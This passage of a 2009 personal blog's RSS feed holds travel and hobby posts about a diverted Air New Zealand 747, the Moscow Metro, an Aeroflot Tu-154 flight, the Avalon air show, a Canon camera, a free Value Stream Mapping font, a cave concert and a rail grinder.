a pretty easy time watching everyone else go through the other customs line. That night we all split up and were sent to various resorts on the island. I was also to miss what turned out to be an epic bachelor party in New York. The next day we were told that the engine could not be repaired and that they were diverting another plane from AKL to pick us up. It turns out they sent two (the AKL-HNL flight and the AKL-LAX flight). The passengers on those two flights were only told of their side-trip to NAN after they had departed AKL and were not too happy to meet us in NAN. The other issue was that NAN didn't have enough supplies (or maybe there was no time) to fully cater the aircraft and that night we left NAN bound for LAX with just chips and Coke for the entire flight. Having an entire day in Fiji was fun (but not as much fun as the bachelor party turned out to be) and I managed to also get a few &lt;a style="font-weight: bold;" href="http://www.airliners.net/photo/Air-New-Zealand/Boeing-747-419/0190199/&amp;amp;sid=dceff3922c85517b30a5bee133aa3234"&gt;pics of the plane being repaired&lt;/a&gt;. Including &lt;a style="font-weight: bold;" href="http://lh5.ggpht.com/_vAHtfRb-ZNo/SiIj0MO21kI/AAAAAAAACLU/p0iCp4NxWso/s720/101-0174_IMG.JPG"&gt;this one&lt;/a&gt; as I boarded the replacement flight to LAX. A little while later (late September 2002), ZK-NBS had another in-flight engine shut down and someone from the NZ Herald newspaper tracked me down based on my &lt;a style="font-weight: bold;" href="http://www.airliners.net/photo/Air-New-Zealand/Boeing-747-419/0190199/&amp;amp;sid=dceff3922c85517b30a5bee133aa3234"&gt;photo on airliners.net&lt;/a&gt;. Apparently ZK-NBS had (according to the reporter who contacted me) "a string of safety incidents." They bought the rights to use the photo and also interviewed me for an article with the catchy headline "Third air scare for jinxed jumbo jet" (&lt;a style="font-weight: bold;" href="http://www.nzherald.co.nz/nz/news/article.cfm?c_id=1&amp;amp;objectid=2897076"&gt;see the full article here&lt;/a&gt;), but never used the photo. Ahhh fame, I hope I didn't let it get to my head.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4472000937732072079-8457939253779849963?l=blog.ambor.com'/&gt;&lt;/div&gt;</description><link>http://blog.ambor.com/2009/05/airnzs-first-747-400-to-be-scrapped-my.html</link><author>noreply@blogger.com (ambanmba)</author><media:thumbnail url="http://lh6.ggpht.com/_vAHtfRb-ZNo/Sh-hpsgMZdI/AAAAAAAACLM/_1zG9DuPH5U/s72-c/101-0144_IMG.JPG" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4472000937732072079.post-1318858265314372679</guid><pubDate>Sun, 03 May 2009 04:36:00 +0000</pubDate><atom:updated>2009-05-03T16:46:28.299+10:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">transport</category><title>A glimpse of the Moscow Metro</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh6.ggpht.com/_vAHtfRb-ZNo/Sfz6-CLhVkI/AAAAAAAABhw/Kk5xvLhlGw4/s800/IMG_0272.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 300px; height: 225px;" src="http://lh6.ggpht.com/_vAHtfRb-ZNo/Sfz6-CLhVkI/AAAAAAAABhw/Kk5xvLhlGw4/s800/IMG_0272.JPG" alt="" border="0" /&gt;&lt;/a&gt;Over 20 years ago, in one of my Doherty Jr. High Social Studies classes I remember Mr. Eiserman mentioning the &lt;a href="http://en.wikipedia.org/wiki/Moscow_Metro"&gt;Moscow Metro&lt;/a&gt; and showing us a picture. I don't even clearly remember the topic of the class, and it may not have even been Mr. Eiserman's class, but the picture of the metro stayed etched in my mind and has since been a source of fascination ever since. I'd been to Moscow (including the obligatory rides on the metro) on a number occasions since then, but never with any sort of camera equipment that would work well (and discretely) in the low light of the metro.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://picasaweb.google.com/alastair.bor/MoscowSubwaySpring2009?authkey=Gv1sRgCPSw_LaU6Pv3NQ&amp;amp;feat=directlink"&gt;Click here to see a photo album&lt;/a&gt; that shows some of the incredible architecture of the stations themselves. I don't even know if you're allowed to take pictures, so these were all done fairly discretely - so excuse the poor composition on some of them.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=W5-Gs4_mBPE"&gt;YouTube video demonstrating the frequency of service&lt;/a&gt;. This is a 4 minute clip, see how rare it is to have no trains at the station.&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=0aZhTadXDBo"&gt;&lt;br /&gt;YouTube video demonstrating ridership&lt;/a&gt;. This is how you get 7 million people per day through the system.&lt;br /&gt;&lt;br /&gt;The metro is a true work of art built during a time of rapid development of Soviet society. Moscow was intended to be the capital city of the world proletariat and as such needed an efficient way to carry the millions of the city's workers. Today's Muscovites (7 million of them a day) travel on the nearly 300km of track across 12 lines and 177 stations of the system. The Soviet leaders also wanted to use the metro to show off the great artistic skill of its people to the outside world and also to celebrate their achievements with the people at home.&lt;br /&gt;&lt;br /&gt;The operational scale of the system is impressive. On average across the network, a train arrives every 90 seconds. In practice, downtown stations have an even shorter &lt;a href="http://en.wikipedia.org/wiki/Headway"&gt;headway&lt;/a&gt;. There are timers on the ends of the platform that indicate the number of seconds since the last train's departure - so you always know how long you're likely to wait. Check out the video below:&lt;br /&gt;&lt;br /&gt;For further reading, I recommend a great book I found titled simply Moscow Metro (&lt;a href="http://www.google.com.au/search?hl=en&amp;amp;q=isbn+9785984010030&amp;amp;btnG=Search&amp;amp;meta="&gt;isbn 9785984010030&lt;/a&gt;). It's in English and has the history and photos of most of the stations. Of course there is a ton of information on &lt;a href="http://en.wikipedia.org/wiki/Moscow_metro"&gt;Wikipedia&lt;/a&gt;, but not so many photos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4472000937732072079-1318858265314372679?l=blog.ambor.com'/&gt;&lt;/div&gt;</description><link>http://blog.ambor.com/2009/05/glimpse-of-moscow-metro.html</link><author>noreply@blogger.com (ambanmba)</author><media:thumbnail url="http://lh6.ggpht.com/_vAHtfRb-ZNo/Sfz6-CLhVkI/AAAAAAAABhw/Kk5xvLhlGw4/s72-c/IMG_0272.JPG" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4472000937732072079.post-4217927479000042295</guid><pubDate>Sat, 02 May 2009 06:29:00 +0000</pubDate><atom:updated>2009-05-03T14:30:22.564+10:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">transport</category><title>Aeroflot Tupolev Tu-154M trip report</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh3.ggpht.com/_vAHtfRb-ZNo/Sfu9YX8yZMI/AAAAAAAABZw/gpf5Mp2zFsc/s800/IMG_0690.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 240px;" src="http://lh3.ggpht.com/_vAHtfRb-ZNo/Sfu9YX8yZMI/AAAAAAAABZw/gpf5Mp2zFsc/s800/IMG_0690.JPG" alt="" border="0" /&gt;&lt;/a&gt;For several years I've been looking for a chance to ride on a &lt;a href="http://en.wikipedia.org/wiki/Tupolev_154"&gt;Tupolev 154&lt;/a&gt;, but living in Australia there aren't so many opportunities. Therefore, on our recent trip to Russia I took care to chose specific Aeroflot flights between Moscow and St. Petersburg to ensure a ride. While both our flights were originally booked on Tu-154s, an equipment change meant that our SVO-LED fligth was on one of Aeroflot's new A320s. Fortunately the return flight was on a&lt;span&gt; Tupolev Tu-154M (reg: RA-85765).&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;The entire Tu-154 experience was like going back in time about 30 years. This included the sights, sounds and smells of air travel. The Tu-154's three &lt;a href="http://en.wikipedia.org/wiki/Soloviev_D-30"&gt;Soloviev D-30&lt;/a&gt; turbofans&lt;/span&gt; make an incredible sound and the first two videos capture the sound nicely. The landing video also has the sound of the incredible racket that the thing makes on the ground. This is mostly from the poorly secured internal furnishings. It's also interesting to note that one of the over-wing exits is sealed shut. From the exterior it looks quite dodgy, but if you look at the safety instruction card, it's a documented feature.&lt;br /&gt;&lt;br /&gt;&lt;span&gt;To jump straight to the pictures, &lt;a href="http://picasaweb.google.com/alastair.bor/Tu154m?authkey=Gv1sRgCMGN29umyO-o4QE&amp;amp;feat=directlink"&gt;click here to access the slideshow&lt;/a&gt;.&lt;br /&gt;To see the in-flight video, &lt;a href="http://www.youtube.com/watch?v=jPL0-2CoL9Q"&gt;click on this YouTube link.&lt;/a&gt;&lt;br /&gt;To see the landing video, &lt;a href="http://www.youtube.com/watch?v=vYjyHwdT_H0"&gt;click on this YouTube link.&lt;/a&gt;&lt;br /&gt;To see the ground equipment, &lt;a href="http://www.youtube.com/watch?v=4_yXOIuCbMk"&gt;click on this YouTube link.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;I have to say that both of our Aeroflot flights were comfortable and on-time with a full meal and drinks on the short hop. This is in contrast to what I've now become accustomed to on the low-cost-carriers I take for similar short hops (SYD-MEL, SYD-BNE, BOS-RIC).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;For further reading about the Tupolev 154 series, &lt;a href="http://www.plane-spotter.com/JanKertzscher/Tu154.pdf"&gt;there is a great article here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4472000937732072079-4217927479000042295?l=blog.ambor.com'/&gt;&lt;/div&gt;</description><link>http://blog.ambor.com/2009/05/aeroflot-tupolev-tu-154m-trip-report.html</link><author>noreply@blogger.com (ambanmba)</author><media:thumbnail url="http://lh3.ggpht.com/_vAHtfRb-ZNo/Sfu9YX8yZMI/AAAAAAAABZw/gpf5Mp2zFsc/s72-c/IMG_0690.JPG" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><enclosure url="http://www.plane-spotter.com/JanKertzscher/Tu154.pdf" length="3058196" type="application/pdf" /><media:content url="http://www.plane-spotter.com/JanKertzscher/Tu154.pdf" fileSize="3058196" type="application/pdf" /><itunes:subtitle>For several years I've been looking for a chance to ride on a Tupolev 154, but living in Australia there aren't so many opportunities. Therefore, on our recent trip to Russia I took care to chose specific Aeroflot flights between Moscow and St. Petersburg</itunes:subtitle><itunes:author>noreply@blogger.com (ambanmba)</itunes:author><itunes:summary>For several years I've been looking for a chance to ride on a Tupolev 154, but living in Australia there aren't so many opportunities. Therefore, on our recent trip to Russia I took care to chose specific Aeroflot flights between Moscow and St. Petersburg to ensure a ride. While both our flights were originally booked on Tu-154s, an equipment change meant that our SVO-LED fligth was on one of Aeroflot's new A320s. Fortunately the return flight was on a Tupolev Tu-154M (reg: RA-85765). The entire Tu-154 experience was like going back in time about 30 years. This included the sights, sounds and smells of air travel. The Tu-154's three Soloviev D-30 turbofans make an incredible sound and the first two videos capture the sound nicely. The landing video also has the sound of the incredible racket that the thing makes on the ground. This is mostly from the poorly secured internal furnishings. It's also interesting to note that one of the over-wing exits is sealed shut. From the exterior it looks quite dodgy, but if you look at the safety instruction card, it's a documented feature. To jump straight to the pictures, click here to access the slideshow. To see the in-flight video, click on this YouTube link. To see the landing video, click on this YouTube link. To see the ground equipment, click on this YouTube link. I have to say that both of our Aeroflot flights were comfortable and on-time with a full meal and drinks on the short hop. This is in contrast to what I've now become accustomed to on the low-cost-carriers I take for similar short hops (SYD-MEL, SYD-BNE, BOS-RIC). For further reading about the Tupolev 154 series, there is a great article here.</itunes:summary><itunes:keywords>transport</itunes:keywords></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4472000937732072079.post-7526991757065456372</guid><pubDate>Fri, 20 Mar 2009 19:59:00 +0000</pubDate><atom:updated>2009-03-21T09:45:04.944+11:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">transport</category><title>Photos from Avalon 2009 - The Australian International Air Show</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://picasaweb.google.com/alastair.bor/200903Avalon?authkey=Gv1sRgCMuE69i15Ij69wE&amp;amp;feat=directlink"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 134px;" src="http://1.bp.blogspot.com/_vAHtfRb-ZNo/ScP6O7Gk_FI/AAAAAAAAA50/RUuam5oygLg/s200/IMG_1035.JPG" alt="" id="BLOGGER_PHOTO_ID_5315367119517711442" border="0" /&gt;&lt;/a&gt;Last weekend Nick and I flew down to &lt;a href="http://www.airshow.net.au/"&gt;The Australian International Air Show&lt;/a&gt; at Avalon Airport outside of Melbourne. By Sydney standards it was a chilly day and the incessant wind and intermittent showers put a bit of a damper on the show. Although the F111c which was going to be one of the show highlights couldn't fly due to the weather, the Jetstar Airbus A320s that we used to fly in and out of Avalon operated without any problems. I have put together a&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;a style="font-weight: bold;" href="http://picasaweb.google.com/alastair.bor/200903Avalon?authkey=Gv1sRgCMuE69i15Ij69wE&amp;amp;feat=directlink"&gt; photo album&lt;/a&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;from the trip which has some neat shots in it (including the F/A18s in the photo at the top of this article). They had the usual "crowd pleasers" like the jet-powered truck, a guy on a jetpack, an &lt;span style="" class="gphoto-photocaption-caption"&gt;Interstate S-1A-65F&lt;/span&gt; landing on a moving truck, etc. Other interesting aircraft included the still experimental &lt;a href="http://en.wikipedia.org/wiki/Boeing_737_AEW%26C"&gt;Boeing 737 AEW&amp;amp;C&lt;/a&gt; (N361BJ) of which the &lt;a href="http://en.wikipedia.org/wiki/RAAF"&gt;RAAF&lt;/a&gt; is the launch customer; the brand new &lt;a href="http://en.wikipedia.org/wiki/Boeing_777#777-300ER"&gt;Boeing 777-300ER&lt;/a&gt; (VH-VOZ) of V Australia; the &lt;a href="http://en.wikipedia.org/wiki/RNZAF"&gt;RNZAF&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/Boeing_757#Government.2C_military_and_corporate"&gt;Boeing 757-200&lt;/a&gt; (NZ7571) which made an impressive flying display and on which I managed to sneak aboard (on the ground, of course); a stock standard &lt;a href="http://en.wikipedia.org/wiki/Boeing_747#747-400"&gt;Boeing 747-400&lt;/a&gt; (VH-OEG) of which I made a nice shot of a cross-wind takeoff; a rare commercial example of a &lt;a href="http://en.wikipedia.org/wiki/KC-10"&gt;McDonald Douglas KC-10 Extender&lt;/a&gt; of Omega Air (N9754VV); the &lt;a href="http://en.wikipedia.org/wiki/List_of_models_of_the_Lockheed_Constellation#L-1049_Super_Constellation"&gt;Lockheed L1049 Super Constellation&lt;/a&gt; (the only example still flying); a bunch of USAF planes that flew-in including a &lt;a href="http://en.wikipedia.org/wiki/C-5_Galaxy"&gt;C-5B Galaxy&lt;/a&gt;, some &lt;a href="http://en.wikipedia.org/wiki/B1B"&gt;B-1B Lancers&lt;/a&gt; and a &lt;a href="http://en.wikipedia.org/wiki/C-17_Globemaster_III"&gt;C-17 Globemaster III&lt;/a&gt; that demonstrated its impressive short field performance. Overall a great day.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4472000937732072079-7526991757065456372?l=blog.ambor.com'/&gt;&lt;/div&gt;</description><enclosure type="" url="http://picasaweb.google.com/alastair.bor/200903Avalon?authkey=Gv1sRgCMuE69i15Ij69wE&amp;feat=directlink" length="0" /><link>http://blog.ambor.com/2009/03/photos-from-avalon-2009-australian.html</link><author>noreply@blogger.com (ambanmba)</author><media:thumbnail url="http://1.bp.blogspot.com/_vAHtfRb-ZNo/ScP6O7Gk_FI/AAAAAAAAA50/RUuam5oygLg/s72-c/IMG_1035.JPG" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><itunes:subtitle>Last weekend Nick and I flew down to The Australian International Air Show at Avalon Airport outside of Melbourne. By Sydney standards it was a chilly day and the incessant wind and intermittent showers put a bit of a damper on the show. Although the F111</itunes:subtitle><itunes:author>noreply@blogger.com (ambanmba)</itunes:author><itunes:summary>Last weekend Nick and I flew down to The Australian International Air Show at Avalon Airport outside of Melbourne. By Sydney standards it was a chilly day and the incessant wind and intermittent showers put a bit of a damper on the show. Although the F111c which was going to be one of the show highlights couldn't fly due to the weather, the Jetstar Airbus A320s that we used to fly in and out of Avalon operated without any problems. I have put together a photo album from the trip which has some neat shots in it (including the F/A18s in the photo at the top of this article). They had the usual "crowd pleasers" like the jet-powered truck, a guy on a jetpack, an Interstate S-1A-65F landing on a moving truck, etc. Other interesting aircraft included the still experimental Boeing 737 AEW&amp;amp;C (N361BJ) of which the RAAF is the launch customer; the brand new Boeing 777-300ER (VH-VOZ) of V Australia; the RNZAF Boeing 757-200 (NZ7571) which made an impressive flying display and on which I managed to sneak aboard (on the ground, of course); a stock standard Boeing 747-400 (VH-OEG) of which I made a nice shot of a cross-wind takeoff; a rare commercial example of a McDonald Douglas KC-10 Extender of Omega Air (N9754VV); the Lockheed L1049 Super Constellation (the only example still flying); a bunch of USAF planes that flew-in including a C-5B Galaxy, some B-1B Lancers and a C-17 Globemaster III that demonstrated its impressive short field performance. Overall a great day.</itunes:summary><itunes:keywords>transport</itunes:keywords></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4472000937732072079.post-6145331060418181711</guid><pubDate>Thu, 12 Mar 2009 09:53:00 +0000</pubDate><atom:updated>2009-03-21T09:33:06.599+11:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">tech</category><category domain="http://www.blogger.com/atom/ns#">transport</category><title>HD Video on Canon Ixus 110IS / Powershot SD960 IS</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vAHtfRb-ZNo/SbjdEZh3YTI/AAAAAAAAAps/9QdsusIlsqU/s1600-h/Picture+6.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 112px;" src="http://3.bp.blogspot.com/_vAHtfRb-ZNo/SbjdEZh3YTI/AAAAAAAAAps/9QdsusIlsqU/s200/Picture+6.png" alt="" id="BLOGGER_PHOTO_ID_5312238828125643058" border="0" /&gt;&lt;/a&gt;Due to some &lt;a href="http://en.wikipedia.org/wiki/Defective_pixel"&gt;hot pixels&lt;/a&gt; that recently erupted on my trusty old Canon &lt;a href="http://en.wikipedia.org/wiki/File:Canon_SD800IS.jpg"&gt;SD800 IS&lt;/a&gt;, I decided to upgrade to a new Canon &lt;a href="http://en.wikipedia.org/wiki/DIGIC"&gt;DiG!C 4&lt;/a&gt; based point &amp;amp; shoot.  The main reason I got the SD800 3 years ago was the wide 28mm lens. The newly released &lt;a href="http://www.canon.com.au/products/cameras/digital_compact_cameras/digitalixus110is_image_library.aspx"&gt;Ixus 110IS/SD960 IS&lt;/a&gt; is the latest evolution of the "wide angle" point &amp;amp; shoot from Canon. The new camera also sports an HD recording mode which really improves the video performance as compared with the SD800. Since these small P&amp;amp;S cameras with tiny &lt;a href="http://en.wikipedia.org/wiki/Charge-coupled_device"&gt;CCD&lt;/a&gt; sensors and crazy megapixel counts (12.1MP in this case) are&lt;a href="http://www.cambridgeincolour.com/tutorials/digital-camera-sensor-size.htm"&gt; notorious for noisy low-light performance&lt;/a&gt;, I thought I'd test it out on my walk home.&lt;br /&gt;&lt;br /&gt;I've uploaded two videos to YouTube which will quickly show you how well this camera works when shooting hand-held in low light.&lt;br /&gt;&lt;br /&gt;Video 1: &lt;a href="http://www.youtube.com/watch?v=0o4t2p0LYYM"&gt;Dusk&lt;/a&gt; (YouTube)&lt;br /&gt;Video 2: &lt;a href="http://www.youtube.com/watch?v=hq4dC6vgMns"&gt;Night&lt;/a&gt; (YoutTube)&lt;br /&gt;&lt;br /&gt;The videos as shown on YouTube are heavily compressed by YouTube and therefore appear quite low in quality. If you have the patience to download the original MOV files from the camera you can find them here - be warned, they are very large files.&lt;br /&gt;&lt;br /&gt;Video 1: &lt;a href="http://www.mediafire.com/file/gmyyawyy4y0/MVI_0002.MOV"&gt;Dusk&lt;/a&gt; (86MB .MOV File)&lt;br /&gt;Video 2: &lt;a href="http://www.mediafire.com/file/ogcgyt1tmmy/MVI_0009.MOV"&gt;Night&lt;/a&gt; (57MB .MOV File)&lt;br /&gt;&lt;br /&gt;I've had the camera for basically a day and have three comments:&lt;br /&gt;&lt;br /&gt;1) The OPTICAL zoom doesn't work while shooting video and the reason for this (they actually mention it in the manual) is that the microphone would pick up the sound of the zoom motor. You can still do a DIGITAL zoom (which is silent), but obviously at lower quality.&lt;br /&gt;&lt;br /&gt;2) I really don't like the look of the camera itself. I wish they kept the older more angular look of the Elph/IXUS/Powershot range.&lt;br /&gt;&lt;br /&gt;3) The camera is packed with new whiz-bang features (blink detection, Wii-style interface, etc.) that I still have to play with. It does seem to take nice pictures though :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4472000937732072079-6145331060418181711?l=blog.ambor.com'/&gt;&lt;/div&gt;</description><link>http://blog.ambor.com/2009/03/hd-video-on-canon-ixus-110is-powershot.html</link><author>noreply@blogger.com (ambanmba)</author><media:thumbnail url="http://3.bp.blogspot.com/_vAHtfRb-ZNo/SbjdEZh3YTI/AAAAAAAAAps/9QdsusIlsqU/s72-c/Picture+6.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">10</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4472000937732072079.post-2916587595094228622</guid><pubDate>Mon, 02 Mar 2009 11:41:00 +0000</pubDate><atom:updated>2009-03-02T23:17:23.673+11:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">tech</category><title>Free Value Stream Mapping Symbols</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.ambor.com/public/vsm/vsm_symbols.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 195px; height: 201px;" src="http://www.ambor.com/public/vsm/vsm_symbols.png" alt="" border="0" /&gt;&lt;/a&gt;Long story short - just just &lt;a href="http://www.ambor.com/public/vsm/vsmfont.html"&gt;click here to get them&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;A few years ago I created a free &lt;a href="http://www.ambor.com/public/hb/harveyballs.html"&gt;Harvey Balls font&lt;/a&gt; which today is the top viewed page on my site. Packaging non-alphabet graphics into a &lt;a href="http://en.wikipedia.org/wiki/Truetype"&gt;TrueType Font&lt;/a&gt; isn't new, but I think what people like about the Harvey Balls font (other than its price) is that the &lt;a href="http://en.wikipedia.org/wiki/Harvey_Balls"&gt;Harvey Balls&lt;/a&gt; are mapped to numbers on the keyboard. This makes it easy to remember how to place any type of Harvey Ball into a document.&lt;br /&gt;&lt;br /&gt;Recently I've been looking into &lt;a href="http://en.wikipedia.org/wiki/Value_Stream_Mapping"&gt;Value Stream Mapping&lt;/a&gt; (a.k.a. VSM) for a project at work and on the surface VSM seems to lend itself to a graphical font. While there seems to be &lt;a href="http://en.wikipedia.org/wiki/Value_stream_mapping_software#Drawbacks_to_using_software"&gt;some debate&lt;/a&gt; as to the effectiveness of using software tools, I thought I'd knock together a set of VSM symbols into a font to try it out.&lt;br /&gt;&lt;br /&gt;So, if you're interested, just &lt;a href="http://www.ambor.com/public/vsm/vsmfont.html"&gt;click here to get it&lt;/a&gt;. Clicking through to the page, you'll also find the keyboard map which lets you easily produce any of these symbols with a standard keyboard (no need to use the Character Map utility to hunt through the non-typable characters). The other benefit of having these symbols as a font is that you can use it with any software (Powerpoint / Excel / Etc.) on any platform (Mac / PC / Linux / Etc.) that can render TrueType Fonts.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4472000937732072079-2916587595094228622?l=blog.ambor.com'/&gt;&lt;/div&gt;</description><link>http://blog.ambor.com/2009/03/free-value-stream-mapping-vsm-font.html</link><author>noreply@blogger.com (ambanmba)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4472000937732072079.post-5428594180686899839</guid><pubDate>Sat, 28 Feb 2009 20:53:00 +0000</pubDate><atom:updated>2009-03-01T08:22:33.922+11:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">lifestyle</category><title>Hungarian Gypsy Music in the Jenolan Caves</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vAHtfRb-ZNo/SamklJ0ORZI/AAAAAAAAApk/QDO1nYNoHRU/s1600-h/IMG_2471.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 240px; height: 320px;" src="http://2.bp.blogspot.com/_vAHtfRb-ZNo/SamklJ0ORZI/AAAAAAAAApk/QDO1nYNoHRU/s320/IMG_2471.JPG" alt="" id="BLOGGER_PHOTO_ID_5307954594029913490" border="0" /&gt;&lt;/a&gt;This weekend we went out to the &lt;a href="http://www.jenolancaves.org.au/"&gt;Jenolan Caves&lt;/a&gt; to listen to a Gypsy Music concert by &lt;a href="http://www.georgcello.com/"&gt;Georg Mertens / The Paganini Duo&lt;/a&gt; in the Cathedral Chamber of the &lt;a href="http://en.wikipedia.org/wiki/Jenolan_Caves"&gt;Lucas Cave&lt;/a&gt;.&lt;br /&gt;The ambiance and acoustics of the cave make it a unique and impressive place to attend an "unplugged" concert. Thanks to the inherent acoustics of the natural limestone formations, there is no need for any sort of  amplification equipment at all. As a fan of Eastern European Gypsy music, I was really blown away.&lt;br /&gt;&lt;br /&gt;If Gypsy music isn't your thing, they also hold other concerts there as well - just visit the &lt;a href="http://www.jenolancaves.org.au/"&gt;Jenolan Caves&lt;/a&gt; web site and click on Concerts.&lt;br /&gt;&lt;br /&gt;The caves are a 3 hour drive from downtown Sydney, so such a trip can form part of a nice weekend getaway or a long day-trip, but in either case, it's definitely worth it. To save you the trip, you can &lt;a href="http://www.youtube.com/watch?v=Rvs47Dv5V2A"&gt;click here for a YouTube version&lt;/a&gt; of the concert (taken by someone else).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4472000937732072079-5428594180686899839?l=blog.ambor.com'/&gt;&lt;/div&gt;</description><link>http://blog.ambor.com/2009/03/hungarian-gypsy-music-in-jenolan-caves.html</link><author>noreply@blogger.com (ambanmba)</author><media:thumbnail url="http://2.bp.blogspot.com/_vAHtfRb-ZNo/SamklJ0ORZI/AAAAAAAAApk/QDO1nYNoHRU/s72-c/IMG_2471.JPG" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4472000937732072079.post-3796002120087483569</guid><pubDate>Sat, 28 Feb 2009 13:40:00 +0000</pubDate><atom:updated>2009-03-01T23:02:22.169+11:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">transport</category><title>SPENO Rail Grinder in action in Katoomba</title><description>&lt;object height="265" width="320"&gt;&lt;param name="movie" value="http://www.youtube.com/v/i5zmJB2ebzI&amp;amp;hl=en&amp;amp;fs=1&amp;amp;rel=0"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/i5zmJB2ebzI&amp;amp;hl=en&amp;amp;fs=1&amp;amp;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="265" width="320"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;Although I've long since retired my Tonka Toys, I still love the sight of big machines in action. We were in the &lt;a href="http://en.wikipedia.org/wiki/Blue_Mountains_%28Australia%29"&gt;Blue Mountains&lt;/a&gt; this weekend and stopped in &lt;a href="http://en.wikipedia.org/wiki/Katoomba"&gt;Katoomba&lt;/a&gt; for dinner. As we got out of the car, I noticed an interesting looking machine throwing impressive sparks off the nearby train tracks. I initially thought it was a derailed train car being dragged down the track, but on closer inspection realised that it was a &lt;a href="http://www.speno.ch/en/0_home.asp"&gt;SPENO&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/Rail_grinder"&gt;Rail Grinder&lt;/a&gt; in action. When it came back for its second pass a few minutes later, I was ready with my camera and had already gotten along &lt;a href="http://maps.google.com.au/maps?f=q&amp;amp;source=s_q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=katoomba&amp;amp;sll=-25.335448,135.745076&amp;amp;sspn=55.47973,83.144531&amp;amp;ie=UTF8&amp;amp;ll=-33.712417,150.312302&amp;amp;spn=0.012869,0.020299&amp;amp;z=16&amp;amp;layer=c&amp;amp;cbll=-33.712419,150.312196&amp;amp;panoid=VXYDlBiUTQqDXLnRmohIAA&amp;amp;cbp=12,31.73916507655478,,0,-0.04228329809725084"&gt;this fence&lt;/a&gt; to get a better look. Above is my YouTube video of the SPENO in action.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4472000937732072079-3796002120087483569?l=blog.ambor.com'/&gt;&lt;/div&gt;</description><link>http://blog.ambor.com/2009/03/speno-rail-grinder-in-action-in.html</link><author>noreply@blogger.com (ambanmba)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><enclosure url="http://www.youtube.com/v/i5zmJB2ebzI&amp;amp;hl=en&amp;amp;fs=1&amp;amp;rel=0" length="763" type="application/x-shockwave-flash" /><media:content url="http://www.youtube.com/v/i5zmJB2ebzI&amp;amp;hl=en&amp;amp;fs=1&amp;amp;rel=0" fileSize="763" type="application/x-shockwave-flash" /><itunes:subtitle> Although I've long since retired my Tonka Toys, I still love the sight of big machines in action. We were in the Blue Mountains this weekend and stopped in Katoomba for 